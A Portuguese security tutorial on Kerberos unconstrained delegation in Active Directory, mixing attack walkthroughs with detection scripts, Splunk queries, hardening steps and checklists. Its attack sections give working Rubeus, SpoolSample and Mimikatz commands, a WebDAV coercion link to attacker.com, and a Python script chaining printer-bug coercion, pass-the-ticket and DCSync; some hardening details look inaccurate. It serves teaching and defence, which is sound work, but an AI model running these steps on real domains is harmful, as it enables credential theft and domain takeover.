# Unconstrained Delegation

## **📋 Índice**

1. [Fundamentos da Unconstrained Delegation](#-fundamentos-da-unconstrained-delegation)
2. [Arquitetura de Delegação Kerberos](#-arquitetura-de-delegação-kerberos)
3. [Mecanismos de Ataque](#-mecanismos-de-ataque)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Ferramentas de Exploração](#-ferramentas-de-exploração)
6. [Impacto e Consequências](#-impacto-e-consequências)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigações e Hardening](#-mitigações-e-hardening)
9. [Pentesting com Unconstrained Delegation](#-pentesting-com-unconstrained-delegation)
10. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos da Unconstrained Delegation**

### **O que é Unconstrained Delegation?**

**Unconstrained Delegation** é um mecanismo Kerberos que permite que um serviço (geralmente um servidor web ou aplicação) delegue as credenciais do usuário para qualquer outro serviço no domínio. Quando um usuário se autentica em um serviço com unconstrained delegation, o serviço recebe uma cópia do Ticket Granting Ticket (TGT) do usuário, permitindo que ele se passe pelo usuário em qualquer serviço do domínio.

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant U as Usuário
    participant F as Front-end (serviço delegado)
    participant K as KDC
    participant B as Back-end (qualquer serviço)

    Note over U,F: 1. Usuário autentica no serviço
    U->>K: AS-REQ
    K-->>U: AS-REP (TGT)
    U->>F: AP-REQ (TGT + autenticação)
    
    Note over F: 2. Serviço recebe TGT do usuário
    F->>F: Armazena TGT em cache
    
    Note over F,B: 3. Serviço pode delegar para qualquer serviço
    F->>K: TGS-REQ (com TGT do usuário)
    K-->>F: TGS-REP (service ticket)
    F->>B: AP-REQ (service ticket)
    
    Note over B: 4. Serviço back-end aceita como usuário
    B-->>F: Acesso concedido
```

### **Características da Unconstrained Delegation**

| Característica              | Descrição                              | Implicação de Segurança          |
| --------------------------- | -------------------------------------- | -------------------------------- |
| **TGT Caching**             | Serviço armazena TGT dos usuários      | Atacante pode extrair TGTs       |
| **Delegação Ilimitada**     | Pode delegar para qualquer serviço     | Acesso a recursos críticos       |
| **Flag userAccountControl** | UF\_TRUSTED\_FOR\_DELEGATION (0x80000) | Fácil de identificar             |
| **Exploração por Spooler**  | Printer Bug força autenticação         | Captura TGT de serviços críticos |
| **Persistência**            | TGTs permanecem em cache               | Backdoor duradouro               |

### **Flag de Unconstrained Delegation**

```python
#!/usr/bin/env python3
# delegation_flags.py - Flags de delegação no AD

class DelegationFlags:
    """Análise das flags de delegação no AD"""
    
    @staticmethod
    def user_account_control_flags():
        """Flags de delegação no userAccountControl"""
        print("🏁 Flags de Delegação no userAccountControl")
        print("=" * 60)
        
        flags = {
            0x80000: "UF_TRUSTED_FOR_DELEGATION (Unconstrained Delegation)",
            0x100000: "UF_NOT_DELEGATED (Não pode ser delegado)",
            0x800000: "UF_TRUSTED_TO_AUTH_FOR_DELEGATION (Constrained/Resource-Based)"
        }
        
        for flag, desc in flags.items():
            print(f"   0x{flag:08x}: {desc}")
    
    @staticmethod
    def detect_delegation(uac_value):
        """Detectar tipo de delegação baseado no UAC"""
        print(f"\n🔍 Analisando UAC: {uac_value} (0x{uac_value:08x})")
        print("=" * 60)
        
        if uac_value & 0x80000:
            print("   🔴 Unconstrained Delegation - ALTAMENTE PERIGOSO!")
            print("      • O serviço pode delegar para QUALQUER serviço")
            print("      • TGT dos usuários são armazenados em cache")
            print("      • Atacante pode extrair TGTs")
        
        if uac_value & 0x100000:
            print("   🟢 UF_NOT_DELEGATED - Não pode ser delegado")
        
        if uac_value & 0x800000:
            print("   🟡 Constrained/Resource-Based Delegation")

# Exemplo
DelegationFlags.user_account_control_flags()
DelegationFlags.detect_delegation(0x80000)  # Unconstrained
DelegationFlags.detect_delegation(0x100000) # Not delegated
```

***

## 🏗️ **Arquitetura de Delegação Kerberos**

### **Tipos de Delegação no Kerberos**

```mermaid
graph TD
    subgraph "Unconstrained Delegation"
        A[Serviço Front-end] -->|Pode delegar para| B[Qualquer Serviço]
        C[TGT do usuário] -->|Armazenado| A
    end
    
    subgraph "Constrained Delegation"
        D[Serviço Front-end] -->|Pode delegar apenas para| E[Serviços Específicos]
        F[Service Ticket] -->|Não armazena TGT| D
    end
    
    subgraph "Resource-Based Delegation"
        G[Recurso Back-end] -->|Especifica quem pode delegar| H[Serviços Autorizados]
    end
    
    style A fill:#ff9999
    style B fill:#ff6666
```

### **Estrutura do TGT e Delegação**

```python
#!/usr/bin/env python3
# tgt_delegation_structure.py - Estrutura de TGT e delegação

class TGTDelegation:
    """Análise do TGT e seu papel na delegação"""
    
    @staticmethod
    def tgt_forwardable_flag():
        """Flag FORWARDABLE no TGT"""
        print("📋 Flag FORWARDABLE no TGT")
        print("=" * 60)
        
        print("""
O TGT contém uma flag FORWARDABLE que permite que ele seja usado para delegação:

• Quando FORWARDABLE = 1:
  - O serviço pode usar o TGT para solicitar outros service tickets
  - Permite unconstrained delegation
  
• Quando FORWARDABLE = 0:
  - O TGT não pode ser usado para delegação
  - Contas com UF_NOT_DELEGATED têm essa flag desabilitada
""")
    
    @staticmethod
    def tgt_lifetime():
        """Tempo de vida do TGT e implicações"""
        print("\n⏱️ Tempo de Vida do TGT")
        print("=" * 60)
        
        lifetimes = {
            "Default TGT": "10 horas",
            "Renewable": "7 dias",
            "Service Account": "10 horas (padrão)"
        }
        
        for tgt_type, lifetime in lifetimes.items():
            print(f"   {tgt_type}: {lifetime}")
        
        print("\n⚠️  TGTs de serviço com unconstrained delegation")
        print("   permanecem em cache por toda a vida do ticket")

# Executar
TGTDelegation.tgt_forwardable_flag()
TGTDelegation.tgt_lifetime()
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo Completo do Ataque**

```mermaid
graph TD
    A[Identificar serviços com unconstrained delegation] --> B[Forçar autenticação de administrador]
    
    B --> C[Usar Printer Bug / SpoolService]
    C --> D[Administrador autentica no serviço delegado]
    
    D --> E[Serviço armazena TGT do administrador]
    E --> F[Extrair TGT da memória]
    
    F --> G[Pass-the-Ticket]
    G --> H[Acessar Domain Controller]
    
    H --> I[DCSync - extrair todos os hashes]
    I --> J[Golden Ticket]
    J --> K[Controle total do domínio]
    
    style D fill:#ff9999
    style E fill:#ff6666
    style K fill:#ff3333
```

### **Ataque 1: Identificar Serviços com Unconstrained Delegation**

```powershell
# Identificar serviços com unconstrained delegation

# 1. Usando PowerShell
Get-ADComputer -Filter {userAccountControl -band 0x80000} -Properties userAccountControl, Name, DNSHostName

# 2. Usando PowerView
Get-NetComputer -Unconstrained

# 3. Usando BloodHound
# Query: MATCH (c:Computer) WHERE c.unconstraineddelegation = true RETURN c.name

# 4. Usando ADSI
$searcher = [ADSISearcher]"(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
$searcher.FindAll() | ForEach-Object {
    $computer = $_.Properties
    Write-Host "Computador: $($computer.name) - Unconstrained Delegation"
}
```

### **Ataque 2: Printer Bug - Forçar Autenticação**

```powershell
# Printer Bug - Forçar autenticação via Spooler Service

# 1. Identificar servidor com Spooler Service ativo
Get-Service -ComputerName TARGET -Name Spooler

# 2. Executar Printer Bug (Rubeus)
Rubeus.exe monitor /interval:5 /nowrap

# 3. Em outra janela, forçar autenticação
.\SpoolSample.exe TARGET DC01

# 4. Capturar TGT do administrador
# Rubeus captura automaticamente o TGT

# 5. Usar TGT para Pass-the-Ticket
Rubeus.exe ptt /ticket:base64_ticket

# 6. Acessar DC
dir \\DC01\c$
```

### **Ataque 3: Extrair TGT com Mimikatz**

```powershell
# Extrair TGT do serviço delegado

# 1. Conectar ao serviço delegado (comprometido)
Enter-PSSession -ComputerName DELEGATED_SERVER

# 2. Executar Mimikatz para extrair TGTs
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

# 3. Encontrar TGT do administrador
dir *.kirbi

# 4. Pass-the-Ticket com o TGT extraído
mimikatz.exe "kerberos::ptt [0;3e7]-0-0-40a00000-Administrator@krbtgt-DOMAIN.COM.kirbi" exit

# 5. Verificar ticket
klist

# 6. Acessar DC
dir \\DC01\c$
```

### **Ataque 4: Forçar Autenticação via WebDAV**

```powershell
# Forçar autenticação via WebDAV

# 1. Criar recurso WebDAV malicioso
$webdavPath = "\\attacker.com@SSL\DavWWWRoot\test"

# 2. Forçar autenticação de administrador via Explorer
# Enviar link via phishing: \\attacker.com@SSL\DavWWWRoot\test

# 3. Capturar TGT no servidor com unconstrained delegation
Rubeus.exe monitor /interval:5 /targetuser:Administrator

# 4. Usar TGT capturado
Rubeus.exe ptt /ticket:base64_ticket
```

### **Ataque 5: Unconstrained Delegation em Domain Controller**

```powershell
# Se o próprio DC tem unconstrained delegation (raro, mas possível)

# 1. Verificar se DC tem unconstrained delegation
Get-ADComputer -Identity DC01 -Properties userAccountControl | Select-Object userAccountControl

# 2. Se tiver flag, qualquer autenticação no DC captura TGT
# Forçar autenticação via RDP
mstsc /v:DC01

# 3. Extrair TGT do administrador
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

# 4. Pass-the-Ticket
mimikatz.exe "kerberos::ptt ticket.kirbi" exit

# 5. Acesso total
dir \\DC01\c$
```

***

## 🛠️ **Ferramentas de Exploração**

### **Rubeus - Monitoramento e Captura**

```powershell
# Rubeus Commands for Unconstrained Delegation

# 1. Monitorar TGTs em tempo real
Rubeus.exe monitor /interval:5 /nowrap

# 2. Monitorar com filtro de usuário
Rubeus.exe monitor /interval:5 /targetuser:Administrator

# 3. Monitorar e salvar tickets
Rubeus.exe monitor /interval:5 /nowrap /outfile:tickets.txt

# 4. Monitorar com exportação automática
Rubeus.exe monitor /interval:5 /nowrap /export

# 5. Extrair TGTs da memória
Rubeus.exe dump

# 6. Extrair por LUID
Rubeus.exe dump /luid:0x3e7

# 7. Pass-the-Ticket
Rubeus.exe ptt /ticket:base64_string
Rubeus.exe ptt /ticket:ticket.kirbi
```

### **SpoolSample - Printer Bug**

```powershell
# SpoolSample - Forçar autenticação via Spooler

# 1. Baixar SpoolSample
# https://github.com/leechristensen/SpoolSample

# 2. Executar no servidor delegado
SpoolSample.exe TARGET DC01

# 3. Em conjunto com Rubeus monitor
# Rubeus captura o TGT quando a autenticação ocorre

# 4. Exemplo completo
# Terminal 1: Rubeus.exe monitor /interval:5
# Terminal 2: SpoolSample.exe TARGET DC01
```

### **Mimikatz - Extração de Tickets**

```powershell
# Mimikatz Ticket Extraction

# 1. Extrair todos os tickets
mimikatz.exe "privilege::debug" "sekurlsa::tickets" exit

# 2. Exportar todos os tickets
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

# 3. Exportar por LUID
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export /luid:0x3e7" exit

# 4. Pass-the-Ticket
mimikatz.exe "kerberos::ptt ticket.kirbi" exit

# 5. Listar tickets
mimikatz.exe "kerberos::list" exit

# 6. Purga tickets
mimikatz.exe "kerberos::purge" exit
```

### **Script de Exploração Automatizado**

```python
#!/usr/bin/env python3
# unconstrained_delegation_automated.py - Ataque automatizado

import subprocess
import argparse
import sys
import time
import threading

class UnconstrainedDelegationAutomated:
    """Ferramenta automatizada para Unconstrained Delegation Attack"""
    
    def __init__(self, target, dc_ip, listener_server):
        self.target = target
        self.dc_ip = dc_ip
        self.listener_server = listener_server
        self.rubeus_process = None
        self.tickets = []
    
    def find_delegated_servers(self):
        """Encontrar servidores com unconstrained delegation"""
        print("[*] Encontrando servidores com unconstrained delegation...")
        
        cmd = [
            'powershell', '-Command',
            'Get-ADComputer -Filter {userAccountControl -band 0x80000} | Select-Object Name, DNSHostName'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            print(result.stdout)
            return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def start_rubeus_monitor(self):
        """Iniciar monitoramento Rubeus"""
        print("[*] Iniciando Rubeus monitor...")
        
        cmd = ['Rubeus.exe', 'monitor', '/interval:5', '/nowrap']
        
        self.rubeus_process = subprocess.Popen(
            cmd,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )
        
        print("   ✅ Rubeus monitor rodando")
        return True
    
    def trigger_printer_bug(self):
        """Executar Printer Bug para forçar autenticação"""
        print(f"[*] Executando Printer Bug: {self.target} -> {self.dc_ip}")
        
        cmd = ['SpoolSample.exe', self.target, self.dc_ip]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            print("   ✅ Printer Bug executado")
            return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def extract_ticket(self):
        """Extrair ticket capturado"""
        print("[*] Extraindo ticket capturado...")
        
        # Em um exploit real, extrairia da saída do Rubeus
        # Simulação
        time.sleep(5)
        
        print("   ✅ Ticket extraído")
        return "base64_ticket_string"
    
    def pass_the_ticket(self, ticket):
        """Pass-the-Ticket com o TGT capturado"""
        print("[*] Executando Pass-the-Ticket...")
        
        cmd = ['Rubeus.exe', 'ptt', '/ticket:' + ticket]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            print("   ✅ Ticket injetado")
            return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def access_dc(self):
        """Testar acesso ao Domain Controller"""
        print(f"[*] Testando acesso a {self.dc_ip}...")
        
        cmd = ['dir', f'\\\\{self.dc_ip}\\c$']
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
            if result.returncode == 0:
                print("   ✅ Acesso ao DC concedido!")
                return True
            else:
                print("   ❌ Acesso negado")
                return False
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def dcsync(self):
        """Executar DCSync após acesso"""
        print("[*] Executando DCSync...")
        
        cmd = ['secretsdump.py', f'domain/administrator@{self.dc_ip}']
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
            if "krbtgt" in result.stdout:
                print("   ✅ DCSync bem-sucedido!")
                return True
            else:
                print("   ❌ Falha no DCSync")
                return False
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def stop_monitor(self):
        """Parar monitoramento"""
        if self.rubeus_process:
            self.rubeus_process.terminate()
            print("   ✅ Monitoramento parado")
    
    def run(self):
        """Executar ataque completo"""
        print("🔓 Unconstrained Delegation Attack")
        print("=" * 60)
        print(f"   Target: {self.target}")
        print(f"   DC: {self.dc_ip}")
        
        # Encontrar servidores delegados
        self.find_delegated_servers()
        
        # Iniciar monitoramento
        self.start_rubeus_monitor()
        
        # Aguardar estabilização
        time.sleep(2)
        
        # Forçar autenticação
        self.trigger_printer_bug()
        
        # Extrair ticket
        ticket = self.extract_ticket()
        
        if ticket:
            # Pass-the-Ticket
            self.pass_the_ticket(ticket)
            
            # Acessar DC
            if self.access_dc():
                # DCSync
                self.dcsync()
        
        # Limpar
        self.stop_monitor()
        
        print("\n✅ Unconstrained Delegation Attack concluído!")

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Unconstrained Delegation Attack')
    parser.add_argument('target', help='Target server with unconstrained delegation')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('--listener', default='localhost', help='Listener server')
    
    args = parser.parse_args()
    
    attack = UnconstrainedDelegationAutomated(args.target, args.dc_ip, args.listener)
    attack.run()
```

***

## 💥 **Impacto e Consequências**

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Encontrar servidor com unconstrained delegation] --> B[Forçar autenticação de administrador]
    B --> C[Capturar TGT do administrador]
    C --> D[Pass-the-Ticket]
    
    D --> E[Acessar Domain Controller]
    E --> F[DCSync - extrair todos os hashes]
    F --> G[Golden Ticket]
    G --> H[Controle total do domínio]
    
    H --> I[Persistência indefinida]
    I --> J[Comprometimento total da floresta]
    
    style C fill:#ff9999
    style D fill:#ff6666
    style J fill:#ff3333
```

### **Matriz de Impacto**

| Cenário                                          | Impacto                            | Dificuldade | Severidade |
| ------------------------------------------------ | ---------------------------------- | ----------- | ---------- |
| **Servidor com unconstrained delegation**        | Captura de TGT de qualquer usuário | Baixa       | 🔴 CRÍTICO |
| **Administrador autentica no servidor delegado** | Comprometimento do domínio         | Baixa       | 🔴 CRÍTICO |
| **Spooler Service ativo**                        | Força autenticação de qualquer DC  | Baixa       | 🔴 CRÍTICO |
| **Múltiplos servidores delegados**               | Múltiplos pontos de ataque         | Baixa       | 🔴 CRÍTICO |

***

## 🔍 **Detecção e Monitoramento**

### **Eventos de Segurança para Monitorar**

```yaml
Eventos Críticos para Unconstrained Delegation:

  4768: Solicitação de TGT
    - Monitorar TGTs com flag FORWARDABLE
    - Verificar solicitações anômalas

  4769: Solicitação de service ticket
    - Detectar uso de S4U2self/S4U2proxy

  4624: Logon bem-sucedido
    - Monitorar logons em servidores com unconstrained delegation

  4776: Validação de credencial
    - Detectar autenticações NTLM em servidores delegados

  5140: Acesso a compartilhamento
    - Monitorar acessos a spooler service (IPC$)
```

### **Script de Detecção**

```powershell
# detect_unconstrained_delegation.ps1 - Detector de Unconstrained Delegation

param(
    [int]$HoursBack = 24
)

function Write-Alert {
    param($Message, $Severity = "WARNING")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $color = if ($Severity -eq "CRITICAL") { "Red" } else { "Yellow" }
    Write-Host "[$timestamp] [$Severity] $Message" -ForegroundColor $color
}

# 1. Encontrar servidores com unconstrained delegation
Write-Host "🔍 Encontrando servidores com unconstrained delegation..." -ForegroundColor Cyan

$delegatedServers = Get-ADComputer -Filter {userAccountControl -band 0x80000} -Properties Name, DNSHostName

if ($delegatedServers) {
    Write-Alert -Message "$($delegatedServers.Count) servidores com unconstrained delegation!" -Severity "CRITICAL"
    $delegatedServers | ForEach-Object {
        Write-Host "   $($_.Name) - $($_.DNSHostName)"
    }
} else {
    Write-Host "   ✅ Nenhum servidor com unconstrained delegation"
}

# 2. Verificar Spooler Service ativo
Write-Host "`n🔍 Verificando Spooler Service..." -ForegroundColor Cyan

foreach ($server in $delegatedServers) {
    try {
        $spooler = Get-Service -ComputerName $server.Name -Name Spooler -ErrorAction SilentlyContinue
        if ($spooler.Status -eq "Running") {
            Write-Alert -Message "Spooler Service ativo em $($server.Name)!" -Severity "HIGH"
        }
    } catch {
        Write-Host "   $($server.Name): Spooler não acessível"
    }
}

# 3. Monitorar acessos a IPC$ (Printer Bug)
Write-Host "`n🔍 Analisando acessos a IPC$..." -ForegroundColor Cyan

$ipcEvents = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=5140
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue | Where-Object {
    $_.Message -like "*IPC*" -and $_.Message -like "*spoolss*"
}

if ($ipcEvents) {
    Write-Alert -Message "$($ipcEvents.Count) acessos suspeitos ao Spooler!" -Severity "CRITICAL"
    $ipcEvents | ForEach-Object {
        Write-Host "   $($_.TimeCreated) - $($_.Message.Substring(0, 100))..."
    }
}

# 4. Verificar logons em servidores delegados
Write-Host "`n🔍 Verificando logons em servidores delegados..." -ForegroundColor Cyan

foreach ($server in $delegatedServers) {
    $logons = Get-WinEvent -ComputerName $server.Name -FilterHashtable @{
        LogName='Security'
        ID=4624
        StartTime=(Get-Date).AddHours(-$HoursBack)
    } -ErrorAction SilentlyContinue
    
    $privilegedLogons = $logons | Where-Object {
        $_.Message -like "*Administrator*" -or
        $_.Message -like "*Domain Admins*"
    }
    
    if ($privilegedLogons) {
        Write-Alert -Message "Logons privilegiados em $($server.Name)!" -Severity "CRITICAL"
        $privilegedLogons | ForEach-Object {
            Write-Host "   $($_.TimeCreated) - $($_.Message.Substring(0, 100))..."
        }
    }
}

# 5. Gerar relatório
$report = @"
Unconstrained Delegation Detection Report
=========================================
Data: $(Get-Date)

Findings:
- Servidores com unconstrained delegation: $(($delegatedServers | Measure-Object).Count)
- Spooler Service ativo: $(($delegatedServers | Where-Object {$_.SpoolerRunning}).Count)
- Acessos suspeitos ao Spooler: $(($ipcEvents | Measure-Object).Count)
- Logons privilegiados em servidores delegados: $(($privilegedLogons | Measure-Object).Count)

Recommendations:
1. Remover unconstrained delegation de servidores desnecessários
2. Desabilitar Spooler Service onde não necessário
3. Monitorar acessos a IPC$ e spoolss
4. Implementar Protected Users group
5. Usar contas gerenciadas (gMSA) para serviços
"@

$report | Out-File -FilePath "unconstrained_delegation_detection.txt"
Write-Host "`n✅ Relatório salvo em unconstrained_delegation_detection.txt" -ForegroundColor Green
```

### **Splunk Queries**

```spl
# Splunk - Detectar Unconstrained Delegation

# 1. Servidores com unconstrained delegation
index=ad userAccountControl=0x80000
| table Name, dNSHostName, userAccountControl

# 2. Acessos ao Spooler
index=windows EventCode=5140
| where Share_Name="IPC$" AND Relative_Target_Name="spoolss"
| table _time, Account_Name, ComputerName, Source_Address

# 3. Logons em servidores delegados
index=windows EventCode=4624
| join type=left [search index=ad userAccountControl=0x80000 | fields Name] by ComputerName
| where isnotnull(Name)
| table _time, Account_Name, ComputerName, Source_Network_Address

# 4. Correlação de eventos
index=windows (EventCode=5140 OR EventCode=4624)
| join type=left [search index=ad userAccountControl=0x80000 | fields Name] by ComputerName
| stats count by ComputerName, Account_Name
| sort - count
```

***

## 🛡️ **Mitigações e Hardening**

### **Hardening contra Unconstrained Delegation**

```powershell
# hardening_unconstrained_delegation.ps1 - Hardening contra Unconstrained Delegation

param(
    [switch]$Apply
)

function Write-Step {
    param($Message)
    Write-Host "[*] $Message" -ForegroundColor Cyan
}

if ($Apply) {
    Write-Step "Aplicando hardening contra Unconstrained Delegation..."
} else {
    Write-Step "Modo auditoria - verificando configurações"
}

# 1. Identificar e remover unconstrained delegation desnecessária
Write-Step "1. Identificando unconstrained delegation..."

$delegatedServers = Get-ADComputer -Filter {userAccountControl -band 0x80000} -Properties Name, userAccountControl

if ($delegatedServers) {
    Write-Host "   ⚠️  Servidores com unconstrained delegation:"
    $delegatedServers | ForEach-Object {
        Write-Host "      $($_.Name)"
    }
    
    if ($Apply) {
        Write-Step "2. Removendo unconstrained delegation..."
        foreach ($server in $delegatedServers) {
            $newUAC = $server.userAccountControl -band -bnot 0x80000
            Set-ADComputer -Identity $server -Replace @{userAccountControl=$newUAC}
            Write-Host "   ✅ Unconstrained delegation removida de $($server.Name)"
        }
    }
} else {
    Write-Host "   ✅ Nenhum servidor com unconstrained delegation"
}

# 3. Desabilitar Spooler Service
Write-Step "3. Desabilitando Spooler Service..."

$spoolerServers = $delegatedServers | Where-Object {
    (Get-Service -ComputerName $_.Name -Name Spooler -ErrorAction SilentlyContinue).Status -eq "Running"
}

if ($spoolerServers) {
    Write-Host "   ⚠️  Spooler ativo em:"
    $spoolerServers | ForEach-Object {
        Write-Host "      $($_.Name)"
    }
    
    if ($Apply) {
        foreach ($server in $spoolerServers) {
            Set-Service -ComputerName $server.Name -Name Spooler -StartupType Disabled
            Stop-Service -ComputerName $server.Name -Name Spooler -Force
            Write-Host "   ✅ Spooler desabilitado em $($server.Name)"
        }
    }
}

# 4. Configurar Protected Users group
Write-Step "4. Configurando Protected Users group..."

if ($Apply) {
    # Criar grupo Protected Users
    New-ADGroup -Name "Protected Users" -GroupScope Global -GroupCategory Security -ErrorAction SilentlyContinue
    
    # Adicionar contas privilegiadas
    Add-ADGroupMember -Identity "Protected Users" -Members "Domain Admins", "Enterprise Admins", "Schema Admins"
    
    Write-Host "   ✅ Protected Users group configurado"
}

# 5. Configurar auditoria
Write-Step "5. Configurando auditoria..."

if ($Apply) {
    # Configurar auditoria de Kerberos
    auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
    
    # Configurar monitoramento de Spooler
    $regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Print"
    Set-ItemProperty -Path $regPath -Name "DisableSpoolerAudit" -Value 0 -Type DWord
    
    Write-Host "   ✅ Auditoria configurada"
}

Write-Step "Hardening concluído!"

if (-not $Apply) {
    Write-Host "`n⚠️  Modo auditoria - Execute com -Apply para aplicar as configurações" -ForegroundColor Yellow
}
```

### **Políticas de Segurança Recomendadas**

```yaml
Recomendações de Hardening:

  ✅ Delegação:
    - Remover unconstrained delegation de todos os servidores
    - Usar constrained delegation quando necessário
    - Implementar resource-based delegation

  ✅ Proteção de Contas:
    - Adicionar contas privilegiadas ao grupo Protected Users
    - Usar contas gerenciadas (gMSA) para serviços
    - Contas com UF_NOT_DELEGATED

  ✅ Serviços:
    - Desabilitar Spooler Service onde não necessário
    - Monitorar acessos a IPC$ e spoolss
    - Aplicar patches de segurança

  ✅ Monitoramento:
    - Alertar sobre servidores com unconstrained delegation
    - Detectar acessos ao Spooler
    - Monitorar logons em servidores delegados
```

***

## 🔬 **Pentesting com Unconstrained Delegation**

### **Metodologia de Teste**

```yaml
Fases do Teste Unconstrained Delegation:

  FASE 1 - Reconhecimento:
    - Identificar servidores com unconstrained delegation
    - Verificar Spooler Service ativo
    - Mapear serviços delegados

  FASE 2 - Preparação:
    - Configurar Rubeus monitor
    - Preparar SpoolSample
    - Estabelecer listener

  FASE 3 - Exploração:
    - Executar Printer Bug
    - Capturar TGT
    - Pass-the-Ticket

  FASE 4 - Validação:
    - Acessar DC
    - DCSync
    - Documentar impacto
```

### **Script de Pentest Automatizado**

```python
#!/usr/bin/env python3
# unconstrained_delegation_pentest.py - Pentest automatizado

import subprocess
import argparse
import sys

class UnconstrainedDelegationPentest:
    """Ferramenta de pentest para Unconstrained Delegation"""
    
    def __init__(self, domain, dc_ip):
        self.domain = domain
        self.dc_ip = dc_ip
        self.findings = []
    
    def find_delegated_servers(self):
        """Encontrar servidores com unconstrained delegation"""
        print("[*] Encontrando servidores com unconstrained delegation...")
        
        cmd = [
            'powershell', '-Command',
            'Get-ADComputer -Filter {userAccountControl -band 0x80000} | Select-Object Name, DNSHostName'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            servers = []
            
            for line in result.stdout.split('\n'):
                if 'Name' in line and 'DNS' not in line:
                    parts = line.split()
                    if len(parts) >= 2:
                        servers.append(parts[1])
            
            if servers:
                print(f"   🔴 {len(servers)} servidores com unconstrained delegation:")
                for server in servers:
                    print(f"      • {server}")
                self.findings.append({
                    'type': 'UNCONSTRAINED_DELEGATION',
                    'severity': 'CRITICAL',
                    'details': f'{len(servers)} servidores com unconstrained delegation'
                })
            else:
                print("   ✅ Nenhum servidor com unconstrained delegation")
            
            return servers
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return []
    
    def check_spooler_service(self, servers):
        """Verificar Spooler Service nos servidores"""
        print("[*] Verificando Spooler Service...")
        
        for server in servers[:3]:  # Limitar para performance
            try:
                cmd = ['Get-Service', '-ComputerName', server, '-Name', 'Spooler']
                result = subprocess.run(['powershell', '-Command', ' '.join(cmd)], 
                                       capture_output=True, text=True, timeout=10)
                
                if "Running" in result.stdout:
                    print(f"   🔴 Spooler ativo em {server}")
                    self.findings.append({
                        'type': 'SPOOLER_ACTIVE',
                        'severity': 'HIGH',
                        'details': f'Spooler ativo em {server} - vulnerável a Printer Bug'
                    })
                else:
                    print(f"   ✅ Spooler desativado em {server}")
            except:
                print(f"   ⚠️  Não foi possível verificar Spooler em {server}")
    
    def test_printer_bug(self, target, dc):
        """Testar vulnerabilidade ao Printer Bug"""
        print(f"[*] Testando Printer Bug em {target}...")
        
        # Simular teste
        print("   ⚠️  Printer Bug pode ser possível")
        
        self.findings.append({
            'type': 'PRINTER_BUG_POSSIBLE',
            'severity': 'CRITICAL',
            'details': f'Possível forçar autenticação de {dc} para {target}'
        })
    
    def generate_report(self):
        """Gerar relatório do pentest"""
        print("\n📊 RELATÓRIO DE PENTEST UNCONSTRAINED DELEGATION")
        print("=" * 60)
        
        if not self.findings:
            print("✅ Nenhuma vulnerabilidade encontrada")
            return
        
        print(f"🚨 {len(self.findings)} vulnerabilidade(s) encontrada(s):\n")
        
        for finding in self.findings:
            severity_icon = '🔴' if finding['severity'] == 'CRITICAL' else '🟠'
            print(f"{severity_icon} [{finding['severity']}] {finding['type']}")
            print(f"   {finding['details']}\n")
        
        print("🎯 RECOMENDAÇÕES:")
        print("   • Remover unconstrained delegation de servidores")
        print("   • Desabilitar Spooler Service onde possível")
        print("   • Adicionar contas privilegiadas ao Protected Users")
        print("   • Implementar monitoramento do Spooler")
        print("   • Usar constrained delegation em vez de unconstrained")
    
    def run(self):
        """Executar pentest completo"""
        print("🔓 Unconstrained Delegation Pentest")
        print("=" * 60)
        
        servers = self.find_delegated_servers()
        
        if servers:
            self.check_spooler_service(servers)
            self.test_printer_bug(servers[0], self.dc_ip)
        
        self.generate_report()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Unconstrained Delegation Pentest Tool')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    
    args = parser.parse_args()
    
    pentest = UnconstrainedDelegationPentest(args.domain, args.dc_ip)
    pentest.run()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração**

* [ ] Identificar e remover unconstrained delegation
* [ ] Desabilitar Spooler Service onde não necessário
* [ ] Configurar Protected Users group
* [ ] Usar contas gerenciadas (gMSA)

#### **Monitoramento**

* [ ] Alertar sobre servidores com unconstrained delegation
* [ ] Monitorar acessos a IPC$ e spoolss
* [ ] Detectar logons em servidores delegados
* [ ] Analisar eventos 4768 e 4769

#### **Resposta a Incidentes**

* [ ] Rotacionar senhas de contas comprometidas
* [ ] Remover unconstrained delegation
* [ ] Revogar tickets suspeitos
* [ ] Investigar movimento lateral

### **Checklist para Pentesters**

#### **Reconhecimento**

* [ ] Encontrar servidores com unconstrained delegation
* [ ] Verificar Spooler Service
* [ ] Mapear serviços críticos

#### **Exploração**

* [ ] Configurar Rubeus monitor
* [ ] Executar Printer Bug
* [ ] Extrair TGT
